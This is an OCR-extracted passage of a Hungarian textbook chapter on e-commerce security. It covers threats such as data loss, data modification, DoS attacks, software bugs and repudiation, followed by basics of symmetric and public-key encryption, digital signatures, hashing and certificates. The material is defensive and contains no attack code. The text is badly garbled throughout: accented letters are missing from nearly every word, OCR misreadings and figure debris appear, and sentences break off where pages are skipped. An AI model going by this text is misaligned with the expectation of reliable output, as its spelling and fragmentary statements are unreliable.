Ha vllalkozsunk szoftverekte tmaszkodik, akkor a szaftverekben lv hibk a sebezhetsgnket jelentik. A ktitikus hibk
valsznsgt megbzhat szaftver vlasztsval cskkenthetjk, illetve rdemes a rendszer egyes rszeinek megvltoztatsa
utn elegend idt hagyni a tesztelsre, formlis tesztdsi eljrst folytatni, s az les rendszeren csak akkor vgrehtani a vl
toztatsokat, ha azokat mshol mr kellkppen leteszteltk.
Mrskelhetjk a hibk kros kvetkezmnyeit, ha napraksz biztonsgi mentseket ksztnk minden adarunktL a vl
toztatsok eltt feljegyezzk a mkd szoftverbelltsokat, s a rendszermveleteket felgyelve gyorsan szleljk az esetleges
229
problmkat.
st: akr az is elkpzelhet, hogy ilyen szablyozs mg egyltaln nem ltezik. Ez azonban minden bizonnyal nem sokig
marad gy. A jvbeli jogszablyalkotssal bizonyos zleti modelleket megszigorthatnak, szablyozhatnak vagy ellehetetlent
hetnek. jabb adkat vethetnek ki.
Ezeket elkerlni nem tudjuk, kezelni pedig csak gy lehet, ha napraksz ismeretekkel rendelkeznk, s oldalunkat az aktu
lis jogszablyokkal sszhangban mkdterjk. Ha valamilyen, bennnket htrnyosan rint helyzet alakul ki, mrlegeljk egy
lobbicsoporthoz csatlakozs lehetsgti
Rendszerkapacitsbeli korltok
Rendszernk megtervezsekor rdemes tekintetbe vennnk a nvekeds lehetsgt. Minden bizonnyal azt remljk, hogy
rendszernk egyre forgalmasabb s forgalmasabb lesz. ppen ezrt gy kell kialakitanunk, hogy nvekv kereslet esetn bvt
het legyen.
A kapacits bizonyos mrtkig egyszeren gyorsabb hardver beszerzsvel is nvelhet, de ltezik egy hatr, amelynl gyor
sabb szmtgpet mr nem tudunk venni. Szaftvernk vajon gy lett megrva, hogy ha elrjk ezt a pontot, rszekre bonthas
suk annak rdekben, hogy tbb rendszer kzrt megoszthassuk a terhelstr Adatbzisunk kpes egyidejleg tbb, klnbz
gpektl rkez krs kezelsre r Az adatbzishoz csatlakozs kdja lehetv teszi, hogy ksbb gy mdosthassuk, hogy
MySQL master szerverre rjuk s klnbz slave szerverekrl olvassuk ki az adatokatr
Kevs rendszer kpes problma nlkl megbirkzni a jelents mrtk nvekedssel. De ha rendszernket a sklzhatsg
elvnek figyelembe vtelvel tervezzk meg, kpesek lesznk azonostani s elhrtani az gyflbzisunk nvekedsvel hatat
lanul jelentkez szk keresztmetszeteket.
A megfelel
stratgia kivlasztsa
Egyesek szerint az internet tl gyorsan vltozik ahhoz, hogy hatkony tervezst tegyen lehetv. Mi viszont gy gondoljuk,
hogy ppen ezek a gyors vltozsok teszik rendkivl fontoss a tervezst. Ha nem tznk ki clokat, s nem vlasztunk stra
tgit, a vltozsok bekvetkezte utn kell azokra valamilyen vlaszt adni ahelyett, hogy a vltozsokra szmtva aktvan csele
kedhetnnk.
Most, hogy megvizsgltuk az zleti tpus weboldalak jellemz cljait s az azokat fenyeget fbb veszlyforrsokat, reml
jk, az olvasban is kezd megfogalmazdni sajt stratgija.
A stratgia fogja meghatrozni az zleti modellt. Ez a modell ltalban olyan dolog, ami valahol mshol mr bevlt, de ese
cenknt olyan j tlet is lehet, arniben nagyon his.znk. A krds az, hogy meglv zleti modellnket alakitjuk az internethez,
meglv versenytrsat msolunk le, vagy agresszv mdon ttr szolgltarst hozunk ltre.
Kvetkez lpsek
A kvetkez fejezerben az e-kereskedelem biztonsgi oldalval foglalkozunk, rszletesen olvashatunk a biztonsgi fogalmakrl,
a
14
15
Az ekereskedelem biztonsgi krdsei
A fejezetben a biztonsg e-kereskedelemben betlttt szerepvel foglalkozunk. Megvizsgljuk, kinek llhat szndkban meg
szerezni a birtokunkban lv informcikat, s hogyan prblkozhatnak ezzel. Megnzzk a biztonsgi hzirendek ltrehoz
snak elveit, amelyekkel elkerlhetk az ilyen jelleg problmk, illerve megismernk nhny, a weboldalak vdelme rdekben
alkalmazhat technolgit, kztk a titkostst, az ellenrzst s a hlzati esemnyek nyomon kvetst.
A fejezetben a kvetkez fbb tmakrkkel foglalkozunk:
A birtokunkban lv informci fontossga
Biztonsgi fenyegetsek
Biztonsgi hzirend ltrehozsa
Hasznlhatsg, teljestmny, kltsg s biztonsg
Ellenrzsi elvek
Oldalunk felhasznlinak ellenrzse
A titkosts alapjai
Privt kulcs titkosts
Nyilvnos kulcs titkosts
Digitlis alrsok
Digitlis tansrvnyak
Biztonsgos webszerverek
Auditls s naplzs
Tzfalak
Biztonsgi ments ksztse adatainkrl
Fizikai biztonsg
szmitgpeiken trolt informcik a tulajdonosukon kvl mindenki ms szmra valsznleg csak alacsonyabb rtket
kpviselnek, az ilyen rendszerek ellen irnyul tmadsok esetiek lesznek, s a tmadk vlheten korltozott erfesztseket
tesznek a feltrskre. Ennek ellenre minden szmtgpes hlzat felhasznljnak meg kell tennie a megfelel vintzke
dseket. Mg a legkevsb rdekes adatokat trol szmtgpek is felkelthetik a tmadk figyelmt, mert kvlan alkalmasak
arra,
hogy nvtelen tmadsokat inditsanak rluk ms rendszerek ellen, illerve fontos szerepet jtszharnak a vrusok s frgek
terjedsben.
A katonai szmtgpek nyilvnvalan a magnszemlyek s a klfldi kormnyzatok clkeresztjben llnak. Mivel az ezek
ellen tmadst tervez kormnyzatok minden bizonnyal bsges erforrssal brnak, rdemes megfelel informatikai szemly
zeere s egyb erforrsokra klten a szksges vintzkedsek rdekben.
232
15. fejezer
Az ltalunk zemelterni kvnt e-kereskedelmi oldal minden bizonnyal az elbbi kt szlssg kz esik,abban a tekintet
ben legalbbis felttlenl, hogy mennyire lesz vonz a crackerek szmra. Ennek megfelelen a vdelmre fordtand erforr
soknak s erfesztseknek is a kt szlssg kz kell esnik.
Biztonsgi fenyegetsek
Mi van az oldalunkon kockzarnak kitve? Milyen fenyegetsekre szmthatunk? Az e-kereskedelmi vllalkozsokat rint
fenyegetsek egy rszvel az E-kereskedelmi
sggal kapcsolatos.
Weboldalunktl fggen az albbi biztonsgi fenyegetsekkel kell szmolnunk:
Bizalmas adataink kitettsge
Adatveszts vagy -rongls
Adatmdosts
Denial of Service tmadsok
Szaftverhibk
Letagads
Nzzk t egyenknt ezeket a fenyegetseket!
15
233
snak szabvnyv vltak, a biztonsg- sajnos- nem tartozik ezek kz. A TCP /IP gy mkdik, hogy csomagokra bonga
fel az adatokat, majd gprl gpre tovbbtja ezeket a csomagokat, amg mind el nem rik a clllomsukat. Ez azt jelenti, hogy
adataink tjuk sorn tbb gpen is keresztlhaladnak, ahogy ezt a 15.1 bra is mucatja. Kzlk brmelyik gp.megcekintheti"
a rajta keresztlhalad adatainkat.
------------------,
Ih
Forrs
l
l
1
l
Cl
L-------------------
Az internet
15.1 bra:
Ha ltni szeretnnk, hogy milyen tvonalon jut el tlnk az adat egy adott gpre, a
traceroute
nunk (Unix gpen). A parancs eredmnyekppen megkapjuk azon gpek cmt, amelyeken az adat keresztlmegy, amg elr
a clhoz. Ha ez sajt orszgunkon bell van, akkor az adat tlagosan gy tz klnbz gpen megy keresztl. Ha a cl egy
klfldi gp, az tkzben rintettek szma a hszar is meghaladhaga. Amennyiben szervezetnk nagy s sszetett hlzattal
rendelkezik, az adat akr t gpet is rinthet, mieltt elhagyn az pletet.
A bizalmas informcikat vdend titkosthatjuk azokat, mieltt a hlzaton elindulnak. Ekkor az tvonal vgn vissza
kell fejteni a titkostott llomnyokat. A webszerverek erre gyakran a Netscape ltal kifejlesztett Secure Sockets Layer (SSL)
protokollt hasznljk, ha az adatok kztk s bngszk kztt utaznak. Viszonylag alacsony kltsg, kevs erfesztssel jr
mdja ez az adattvitel biztonsgoss ttelnek, m mivel kiszolglnknak egyszer adatklds s -fogads helyett titkostania
s visszafejtenie is szksges az adatokat, a szerver ltal msodpercenknt kiszolglhat ltogatk szmt jelents mrtkben
cskkenti.
l"
Az adatveszts akr kltsgesebb is lehet, mint ha valaki egyszeren megszerezn azt. Ha hnapokat dolgoztunk oldalunk
fejlesztsn, a felhasznli adatok s megrendelsek sszegyjtsn, vajon mennyibe kerlne az idben, hrnvben s pnzben
kifejezve, ha mindezen adatokat elvesztennk? Ha nem rendelkeznnk biztonsgi mentssel minden adatunkrl, akkor nagy
sietve, a semmibl indulva kellene jra megrnunk weboldalunkat. Elgededen gyfelek tmkelegr tudhatnnk magunknak,
s olyan csalkkal tallkoznnk, akik azt llitjk, hogy rendeltek valamit, de nem kaptk meg.
Megeshet, hogy crackerek
remegy egy merevlemeznk. A merevlemezek percenknt tbb ezer fordulatot tesznek meg, s olykor elromlanak. Murphy
trvnye pedig kimon<lja, hogy minden bizonnyal a legfontosabb merevlemez lesz az, amirl j rgen nem ksztettnk biz
tonsgi mentst.
Szmtalan klnbz intzkedssei cskkenthegk az adatveszts eslyt. Vdjk kiszolglinkat a crackerek ellen! A lehe
t legnagyobb mrtkben korltozzuk a szmtgpeinkhez hozzfr alkalmazottak szmt! Csak hozzrt, gondos szakem
berekkel dolgozzunk! Vsroljunk j minsg merevlemezeket! Hasznljuk a RAID ( Redundant Array of Inexpensive Disks
-olcs lemezek redundns tmbje) technolgit, ami lehetv teszi, hogy tbb merevlemez mkdjk egyeden gyorsabb,
megbzhatbb merevlemezknt!
Mindegy, hogy mi az adatveszts oka, egyeden igazi vdelem ltezik ellene: a biztonsgi ments. A biztonsgi mentsek
ksztse nem rtudomny. ppen ellenkezleg: unalmas, fraszt s- remnyeink szerint - haszontalan foglalatossg, ami
ugyanakkor letbevgan fontos. Gondoskodjunk arrl, hogy adatainkrl rendszeres biztonsgi mentsek kszljenek, s ne
felejtsk el letesztelni a biztonsgi ments ksztsnek folyamatt, hogy az gy kapott adatok helyrelltsa biztostott legyen!
gyeljnk, hogy a biztonsgi mentseket a szmitgpeinktl tvol troljuk! Br elg kicsi az eslye, hogy irodnk leg, vagy
valarnilyen termszeti katasztrfa nyomn teljesen tnkremegy, a biztonsgi mentsek fizikailag ms helyen trolsa semmibe
nem kerl vintzkeds.
15
234
15. fejezet
Adatmdosts
Mr az adatveszts is hatalmas krokat okozhat, adataink mdostsa azonban mg ennl is rosszabb lehet. Kpzeljk el, hogy
valaki hozzfrst szerzett rendszernkhz,s mdostotta fjljainkarl Egy teljes kr trlst minden bizonnyal szrevesznk,
s a biztonsgi mentsbl helyrelltharjuk a trlt llomnyokat, de vajon meddig tart, amg a mdostsokat szrevesszk?
Ilyen mdostsok az adatfjlokat s a futtathat fjlokat egyarnt rinthetik. A crackerek olyan cllal mdosthatnak adat
fjlt, hogy megvltoztassk oldalunk megjelenst, vagy csalssal elnyhz juttassk sajt magukat. A futtathat fjlok sznd
kosan megronglt vltozatokra cserlsvel az egyszer mr hozzfrst szerz cracker titkos hts ajthoz (backdoor) juthat,
vagy magasabb szint rendszerjogosultsgokat oszthat ki sajt magnak.
A hlzaton thalad adatokat ellenrz sszeg (signature) hasznlatval vdhetjk a mdostsoktl. Ez a megkzelts
nem akadlyozza ugyan meg, hogy valaki mdostsa az adatot, de ha a fogad fl a fjl megrkezsekor ellenrzi, hogy az alrs
mg mindig stimmel-e, meg tudja llaptani, ha a fjlt mdostottk. Ha adatainkat titkostssal vdjk a jogosulatlan megte
kintstl, az alrs hasznlatval igencsak megneheztjk azt, hogy valaki tkzben szrevtlenl mdosthassa azokat.
A kiszolgln trolt fjlok mdostsok elleni vdelmhez opercis rendszernk fjljogosultsgait kell hasznlni,illetve
vdennk kell rendszernket a jogosulatlan hozzfrstL A fjljogosultsgok lehetv teszik,hogy felhasznlink hasznl
hassk a rendszert, de ne kapjanak szabad kezet a rendszerf:ijlok vagy ms felhasznlk llomnyainak megvltoztatshoz.
A megfelel jogosultsgi rendszer hinya az egyik oka annak, hogy a Windows 95, 98 s ME soha nem voltak igazn alkalma
sak kiszolgl opercis rendszernek.
A mdostsokat gyakran igen nehz szrevenni. Ha brmikor rjvnk,hogy rendszernk biztonsga srlt, honnan fogjuk
tudni,hogy a fontos fjlokat megvltoztattk-e? Vannak olyan fjlok- pldul az adatbzisunkat trol adatllomnyok -,ame
lyek rendeltetsszer hasznlat esetn is idrl-idre vltoznak. Ms f:ijloknak pedig a telepts utn rnindaddig vltozatlannak
kell maradniuk,amg szndkosan nem frisstjk ket. A prograrnak s az adatok mdostsa is alattomos dolog tud lenni,de mg
a programokat a mdosts gyanja esetn jratelepthetjk,abban nem lehetnk biztosak, hogy az adatok melyik verzija"tiszt:
A fjlok integritst ellenrz szoftverek, mint amilyen pldul a Tripwire is, feljegyzik a fontos fjlok tudottan biztonsgos
- pldul kzvetlenl a telepts utni- llapotnak informciit, gy ezeket ksbb felhasznlhatjuk annak megllaptsra,
hogy vltozatlanok maradrak-e ezek az llomnyok. A program fizets s bizonyos felttelek mellett ingyenes verziit a http:/ l
www.tripwire.com oldalrl tlthetjk le.
tmads. Szolgltarsmegtagads akkor kvetkezik be, ha valaki a cselekedeteivel megnehezti vagy lehetetlenn teszi a felhasz
nlk szmra, hogy hozzfrjenek egy szolgltatshoz, vagy kslelteti idkritikus szolgltatshoz val hozzfrsket.
15
oldalak ellen. A clpontok kz tartozott a Yahoo!, az eBay, az Amazon, az E-Trade s a Buy.com. Ezek az oldalak olyan ltoga
tottsgi szintekhez vannak hozzszokva, amilyenekrl mi nem is igen lmodhatu nk, de DoS-rmadssal mg ezeket is rkra
elrhetetlenn lehet tenni. Br a eraeketeknek anyagi elnyk ltalban nem szrmazik egy weboldal tlterhelsbl, az oldal
zemeltetje jelents veszresggel szembeslhet gy anyagiakban, mint a hrnevt illeten.
Lteznek olyan oldalak, amelyek jl meghatrozhat idszakban bonyoltjk forgalmuk jelents rszt. Az online fogad
oldalak irnti rdeklds jelentsen megugrik kzvetlenl a nagy sportesemnyek eltt. Az egyik alkalom, amikor a crackerek
megprblrak D DoS-tmadsbl pnzt csinlni, 2004-ben volt: online fogadirodkat zsaroltak meg azzal, hogy a legforgal
masabb idszakban fogjk tmadni ket.
Az ilyen tmadsok elleni vdelem nehzsgt egyrszt az okozza, hogy szmtalan klnbz mdon kivitelezhetk.
A szba jhet mdszerek kz tartozik olyan program teleptse a clgpre, amely a rendszer processzoridejnek nagy rszt
lefoglalja, a reverse spam s az automatizlt eszkzk hasznlata. A reverse spam olyan levlszemt kikldsr jelenti, amelyben
a clpont szerepel feladkn t. Az rtatlan clpont gy dhdt levlrk ezreinek kldemnyvel lesz knytelen megbirkzni.
Automatizlt eszkzk is lteznek megosztott DoS-tmadsok indtsra. Klnsebb tuds nlkl is brki megteheti,
hogy ismert sebezhetsgek utn kutatva rengeteg gpet megvizsgl, betr egy nem megfelelen vdett gpbe,majd telepti az
eszkzt. Automatizlt folyamatrl lvn sz, a tmad akr gpenknt t msodperc alatt teleptheti az eszkzt. Elegend sz
m gp beszervezse utn mindegyiket utastja, hogy hlzati forgalommal rasszk el a clt.
A DoS-tmadsok elleni vdekezs nem egyszer dolog. Kis kutatmunkval kiderthetjk, hogy mely alaprtelmezett
portokat hasznljk a gyakori D DoS-eszkzk, s zrjuk be ezeket! Routernk kpes lehet az adott protokollokat (pldul
ICMP) hasznl forgalom szzalkos mrtknek korltozsra. Knnyebb hlzatunkon bell olyan gpeket szrevenni,
amelyeket msik gpek tmadsra hasznlnak, mint megvdeni szmtgpeinket a tmads ellen. Ha rninden hlzati rend
szergazda megbzhat mdon felgyeln sajt hlzatt,a D DoS egyltaln nem jelentene problmt.
235
A szmtalan lehetsges tmadsi mdszer miatt az egyetlen igazn hatkony vdelem a szoksos forgalomviselkeds figye
lse s olyan szakrti csapat fenntartsa, amely az abnormlis szirucik bekvetkezse esetn azonnal megteheti a szksges
inrzkedseket.
Szoftverhibk
A szaftverekben - akr vsroltuk, szereztk vagy mi magunk rtuk - komoly hibk lehetnek. A webes projektekre jellemz
rvid fejlesztsi id jelentsen megnveli az ilyen hibk eslyt. A hibs szoftverek a szmtgpes folyamatokra nagy mrtk
ben tmaszkod vllalkozsokat sebezhetv teszik.
A szaftverekben rejl hibk olyan, elre nem lthat helyzetekhez vezethetnek, mint a szolgltats elrhetetlensge, bizton
sgi incidensek, pnzgyi vesztesg vagy alacsony sznvonal gyflkiszolgls.
A leggyakoribb hibaokok kz a pontatlan specifikcik, a fejlesztk hibs feltevsei s a nem megfelel tesztels tartozik.
Pontatlan specifikcik
Minl felletesebb s minl flrerthetbb a tervdokumentci, annl valsznbb, hogy hibkat fogunk tallni a vgtermk
ben. Akrmennyire feleslegesnek is tnik kiktni azt, hogy az gyfl hitelkrtyjnak elutastsa esetn a megrendelst nem
szabad kikldeni, egy nagy kltsgvetssei mkd oldalnl elkvettk ezt a hibt. Minl kevesebb tapasztalattal rendelkeznek
a fejlesztk az ltalunk ltrehozni kvnt rendszertpusban, annl pontosabb specifikcikat kell adnunk.
Fejlesztk hibsJeltevsei
A rendszer tervezinek s fejlesztinek szmos feltevssel kell lnik. Termszetesen abban remnykednk, hogy megfelelen
dokumentljk ezeket, s az esetek tbbsgben igazuk lesz. Elfordul azonban olyan is, hogy az emberek hibs felttelezseket
tesznek. Pldul felttelezik, hogy a beviteli adatok rvnyesek lesznek, nem tartalmaznak klnleges karaktereket, vagy adott
mrernl kisebbek lesznek. Idztssei kapcsolatos feltevsek is lehetsgesek, pldul, hogy kt egymssal tkz mvelet egyide
jsgnek a valsznsge csekly, vagy az, hogy egy sszetett feladat feldolgozsa mindig tovbb tart, mint egy egyszer feladat.
Az ilyen felttelezsek azrt csszhatnak t, mert az esetek tbbsgben igazak. Egy cracker azonban kihasznlhatja azokat
a puffertlcsordulsokat, amelyek azrt kveteznek be, mert a programoz hibsan felttelezte a beviteli adat maximlis hosz
szc. Vagy egy szablyosan eljr felhasznl azrt kaphat hibazenetet, s azrt hagyja ott az oldalunkat, mert a fejlesztk nem
gondoltak arra, hogy szemlynvben lehet aposztrf. Az ilyen jelleg hibkat megfelel tesztelssei s a kd kellen rszleres
tvizsglsval megtallhatjuk s kijavthatj uk.
A crackerek ltal a korbbi idszakokban kihasznlt opercisrendszer- vagy alkalmazsszint gyengesgek ltalban
a puffertlcsordulssal vagy a verseny diktlta tl gyors fejlesztsekkel lltak sszefggsben.
Letagads
Az utols kockzati lehetsg, amivel foglalkozunk, a letagads (repudiation). Akkor kvetkezik be, ha a tranzakciban szerep
l egyik fl letaga<lja rszvtelt. Az e-kereskedelem terletrl olyan idevg pldkat emlthetnk, mint amikor valaki rendel
valamic egy weboldalrl, majd letagadja, hogy felhatalmazst adott hitelkrtyja megterhelsre. Vagy, amikor valaki e-mailben
beleegyezik valamibe, majd azt lltja, hogy valaki ms hamistotta azt a levelet.
15
236
15. fejezet
Idelis esetben a pnzgyi tranzakcik a leragadharatlansg biztonsgt knljk nndkr flnek. Egyikk sem rudja leragad
ni rszvtelt a tranzakciban, pontosabban nndkt fl hitelt rdemlen bizonytani ruclja harmadik szemly, pldul brsg
eltt a msik fl tettt. A gyakorlatban azonban ritkn ez a helyzet.
A felhasznli hitelests valamilyen mrtk bizonyossgat ad a msik flrL A megbizhat szervezet ltal kiadott digitlis
tanstvnyok tovbb fokozhatjk a bizalmat.
A felek ltal kldtt zeneteknek manipulcibiztosnak kell lennik. Nem sok hasznt vehetjk annak, ha bizonytani
tudjuk, hogy a Kukuryin Bt. zenetet kldtt neknk, de arra nincsen bizonytkunk, hogy amit megkaptunk, az pontosan
megegyezik azzal, amit a cg elkldtt. Mint mr emltettk, az zenetek alrsa vagy titkostsa megnehezti az szrevtlen
mdostsukat.
Folyamatos kapcsolarban lv zletfelek kztti tranzakcik esetn a digirlis tanstvnyok s a titkostott vagy alrt kom
munikci hatkony mdja a letagadhatsg korltozsnak. Egyszeri tranzakciknl, pldul egy e-kereskedelmi oldal s egy
hitelkrtyval fizet, j vsrl kztti els kapcsolatfelvtel esetn azonban ezek nem annyira praktikusak.
Egy e-kereskedelemmel foglalkoz vllalat minden bizonnyal hajland azonossgnak bizonytsra, s nnden gond nlkl
kifizet nhny szz dollrt egy olyan tanstvnykibocstnak, mint a VeriSign (http://www.verisign.com/) vagy a Thawte
(http://www.thawte.com/), hogy megerstse a ltogatkban a cg j hirnevt. Ugyanennek a vllalatnak akkor el kellene
utastania minden olyan gyfelet, aki nem hajland ugyanezzel a mdszerrel bizonytani azonossgt? Kis rtk tranzakcik
esetben a kereskedk inkbb hajlandak elviselni a csals vagy letagads bizonyos szint kockzatt, minthogy elvesztsenek
egy zleti lehetsget.
15
kapcsolaml nagyobb processzorteljestmnyt ignyel. Ezeket a teljestmnybeli vesztesgeket gyorsabb gpek vagy kifejezetten
titkosts cljra kialaktott hardver beszerzsvel ellenslyozhatjuk. Ez termszetesen nveli kltsgeinket.
A teljestmnye, hasznlhatsgot, kltsget s biztonsgot tekinthetjk egymssal versenyz cloknak. Tanulmnyozni kell
a kztk fennll tvltsokat, s megfelel dntseket hozva kell kompronsszumra jutni. A vdeni kvnt informcikrl,
pnztrcnktl, a kiszolglni tervezett ltogatk szmtl s a szablyosan eljr felhasznlk ltal mg elviselhetnek tlr
biztonsgi intzkedsek mrtktl fggen kell megtallni a fenti clok kztti egyenslyi llapotot.
237
Entn-usemameoddfor"Dft'Aiu"
UsetN1me
ll
PMSWOrd:
L-ewJ
15.2 bra: A bngszk Jelhasznli nevet s jelszt krnek a kiszolgl vdett knyvtrt Jelkeresni kvnJelhasznlktl.
15
238
15. fejezer
Az Apache webszerver s a Microsoft IlS is lehetv teszi, hogy honlapunk egszt vagy rszeit igen egyszeren megvdjk
ezzel a mdszerrel. PHP vagy MySQL hasznlatval is elrhetjk ugyanezt az eredmnyr. A MySQL hasznlata gyorsabb,
mint a beptett hitelests. PHP segtsgvel rugalmasabb ellenrzst mkdtethetnk, vagy a felhasznl szempontjbl
tetszetsebb mdon llharunk el az ellenrzsre vonatkoz krssel.
Vonatkoz pldkkal a
A titkosts alapjai
A titkostsi algoritmus (encryprion algorithm) matematikai eljrs az informci ltszlag vletlenszer karaktersorr alakt
sra. A kiindul adarot szoks egyszer szvegnek (plain text) nevezni, br a folyamar szempontjbl nincsen jelentsge an
nak, hogy mit tartalmaz az informci - tnylegesen szveget vagy ms adatot. A titkostott informcit titkostott szvegnek
(ciphertext) nevezzk, noha legkevsb szakott szvegnek ltszani. A 15.3 brn a titkosts egyszer folyamatbrjt lthat
juk. Az egyszer szveget beadjuk egy titkosr motornak, amely rgebben mechanikus eszkz volt, mint pldul a Il. vilgh
borban hasznlt Enigma, ma azonban szinte kivtel nlkl szmtgpes program. A moror titkosrott szveget llt el.
Titkost
algoritmus
15.3 bra: A
A 15.2 brn lthat ellenrzsi prbeszdablakot hasznl vdett knyvtr ltrehozshoz az Apache legegyszerbb el
lenrzsi mdszert hasznltuk. (Mkdst a kvetkez fejezetben mutatjuk be.) Ez trolsuk eltt titkosrja a jelszavakat.
Ltrehoztunk egy felhasznlt, aknek jelszava j els z o; az Apache titkosrotta, majd aWDuA3X3H. me 2-knt eleroita ezt.
Lthat, hogy az egyszer s a titkostott szveg kztt semmi szemmel lthat hasonlsg nincsen.
Ez a titkostsi mdszer nem visszafordthat. Rengeteg jelszt trolnak egyirny titkostsi algoritmussal. A felhasznl
ltal bevitt jelsz ellenrzshez nem szksges visszafejteni az eltrolt jelszt. Ehelyett
15
15.4 bra: A
titkosts fogja az egyszer szveget, s ltszlag vletlenszer karaktersorbl ll, titkostott szvegg
alaka. A visszafejts a titkostott szvegbl indul ki, azt alaka vissza egyszer szvegg.
A ritkosrs (kriptogrfia) majdnem 4000 ves, de nagykorsgt csak a Il. vilghbor idejn rte el. Azta a szmtgpes
hlzatok elterjedshez hasonl utat jrt be: elszr a katonasgnl s a pnzgyi szervezeteknl, majd az 1970-es vektl
kezdve egyre szlesebb krben alkalmaztk. gy a kilencvenes vekben mr szinte minden terleten megtallhat volt. Rgeb
ben az tlagember csak II. vilghbors filmekben s kmregnyekben tallkozott titkosrssal, m az elmlt vekben mr az
jsgcikkekben is olvashattunk rla, s nap mint nap hasznlja mindenki, ak az interneten vsrol.
Szmtalan klnbz titkostsi algoritmus ltezik. Van olyan, pldul a DES, amelyik titkos (privt) kulcsot hasznl; m
sok, pldul az RSA, nyilvnos kulcs s kln privt kulcs segtsgvel mkdnek.
239
Megjegyzs: Furcsnak tnhet, de a Triple DES ktszer olyan biztonsgos, mint a DES. Ha hromszor ersebb-vdelemre
lenne szksgnk, programot kellene rnunk r, vagy tszrs DES-algoritmust kellene megvalstanunk.
A titkos kulcs titkosts egyik nyilvnval problmja, hogy biztonsgos zenet kldshez biztonsgos mdszerre van
szksg. hogy a titkos kulcsot is elkldhessk. Ha ltezik biztonsgos mdszer a kulcs elkldsre, mirt nem kldjk gy az
zenetet is? Szerencsre1976-ban, amikor Diflie s Hellman elllt az els nyilvnos kulcs rendszerrel, ttrs kvetkezett
be ezen a tren.
15
15.5 bra: A nyilvnos kulcs titkosts kln-kln kulcsot hasznl a titkostsra s a visszafejtsre.
Az, hogy a nyilvnos kulcsot szabadon elkldherjk, s nem kell aggdni, hogy harmadik szemly megszerzi, komoly elnyt
jelent. Ennek ellenre a titkos kulcs rendszereket tovbbra is szles krben alkalmazzk. Gyakran vegyes rendszert mkd
temek: nyilvnos kulcs rendszerrel kldik a kulcsot a titkos kulcs rendszerhez, amellyel a kommunikci tovbbi rszt
bonyoltjk. A bonyolultabb felllst ellenslyozza, hogy a titkos kulcs rendszerek mintegy ezerszer gyorsabbak a nyilvnos
kulcsaknl.
Digitlis alrsok
A digitlis alrsok a nyilvnos kulcs kriptogrfia tmakrhez kapcsoldnak, m a nyilvnos s privt kulcsokhoz kpest
forditott szerepet tltenek be. A kld titkos kulcsval titkosrja s digitlisan alrja zenett. Az zenet megrkezsekor
a
fogad a kld nyilvnos kulcsval tudja visszafejteni azt. Mivel a kld az egyetlen szemly, aki hozzfr a titkos kulcshoz,
a fogad viszonylagos bizonyossggal meg tudja llaptani, kitl jtt az zenet, illetve hogy nem mdostottk-e.
240
15. fezer
A digirlis alrsok rendkivl hasznosak rudnak lenni. A fogad bizonyossger kaphat, hogy az zeneret nem hamisrotrk
meg, az alrsok pedig megneheztik a kld szmra az zenetklds leragadst.
Fontos megjegyezni, hogy br az zenet titkosrva van, a nyilvnos kulcs birtokban brki ltal olvashat. Noha ugyanazokar
a mdszereker s kulcsokar hasznlja, a titkosts clja itt a hamists s klds letagadhatsgnak megakadlyozsa, nem
pedig a beleolvass megelzse.
Mivel a nyilvnos kulcs titkosts nagy zenerek esetben viszonylag lass, ltalban egy msik tpus algoritmust, gyne
vezett hash fggvnyt hasznlnak a hatkonysg nvelsre. A hash fggvny (magyarul hast fggvnynek is szoks nevezni)
a neki radott brmely zenethez kiszmrja az ahhoz tartoz zenerkivonatot (message digest) vagy hash rtket. Nem az
algoritmus ltal kiszmtott rtk a fontos, hanem az, hogy a kimenet egyrtelm hozzrendels eredmnye, vagyis egy adott
bemenet (zenet) rnindig ugyanazt a kimenetet eredmnyezi: a kimenet kicsi, az algoritmus pedig gyors.
A leggyakrabban hasznlt hash fggvny az MDS s az SHA.
A hash fggvny az adott zenetnek megfelel zenerkivonatot llt el. Az zenet s az zenetkivonat birtokban meggy
zdhetnk arrl, hogy az zenetet nem hamistottk-e meg - feltve, hogy biztosak lehetnk abban, hogy a kivonat nincsen
manipullva. Ezrt a digitlis alrs ltrehozsnak szoksos m<lja, hogy a gyors hash fggvnnyel elksztjk a teljes zenet
zenetkivonatt, majd csak ezt a rvid kivonatot titkostjuk a nyilvnos kulcs - s ppen ezrt lass - titkostsi algoritmus
sal. Az alrs most mr az zenettel egytt, hagyomnyos, nem biztonsgos mdon is kldhet.
Alrt zenet rkezsekor ellenrizhetjk azt. Az alrst a kld nyilvnos kulcsval fejtjk vissza. Ezt kveten a kld
ltal hasznlt mdszerrel hash rtket hozunk ltre az zenethez. Ha a visszafejtett hash rtk megegyezik az ltalunk elll
tottal, a kld zenett senki sem mdostotta.
Digitlis tanstvnyok
Praktikus, ha meg rudunk bizonyosadni arrl, hogy a kapott zenetet nem manipullrk, vagy egy zenetsorozat adott fel
hasznlrl vagy gptl rkezett. zleti kapcsolatok esetn ennl is hasznosabb, ha ltez ( jogi) szemlyhez, azaz termszetes
szemlyhez vagy cghez rudjuk ktni azt a felhasznlt vagy kiszolglt.
A digitlis tansrvny alrt, digitlis formban kombinl egy nyilvnos kulcsot s az adott szemly vagy szervezet adatait.
A tansrvny birtokban rendelkeznk a msik fl nyilvnos kulcsval arra az esetre, ha titkostott zenetet akarunk kldeni,
s ismerjk a msik fl adatait, amelyekrl tu<ljuk, hogy nem lettek megvltozrarva.
A gond legfeljebb annyi, hogy az informci csak annyira megbzhat, mint az, aki alrta. Brki ltrehozhat s alrhat olyan
tanstvnyt, amely azt lltja, hogy ez s ez. zleti tranzakcik esetn arra van szksg, hogy megbzhat harmadik szemly
ellenrizze a rsztvevk azonossgt s a tanstvnyaikban rgztett adatokat.
Az ilyen harmadik szemlyeket tanst szervezeteknek (certifying authoriry- CA) nevezzk. Ezek azonossguk ellenrzse
15
utn digitlis tansrvnyokat adnak ki magnszemlyeknek s cgeknek. A kt legismertebb CA a VeriSign (http:/ /www.
verisign.com/) s a Thawte (http://www.thawte.com/), de sok ms ilyen szervezet is mkdik. A Thawte a VeriSign tulaj
donban van, s kevs gyakorlati klnbsg van a kett kztt. Egyes ms szervezetek, pldul a Nerwork Solutiens (http:/ l
www.nerworksolutions.com) s a GoDaddy (http://www.godaddy.com/), jelentsen olcsbbak.
A szervezerek tanstvnyt adnak ki arrl, hogy ellenriztk az adott szemly vagy cg (szemly)azonossgt. Fontos tisztz
ni, hogy a tansrvny nem a megbzhatsgrl vagy hitelkpessgrl szl. A tanstvny nem garancia arra, hogy zletfelnk
tisztessges, megbzhat partner. Pusztn arrl van sz, hogy ha becsapnak bennnket, akkor viszonylag j esllyel birtokunk
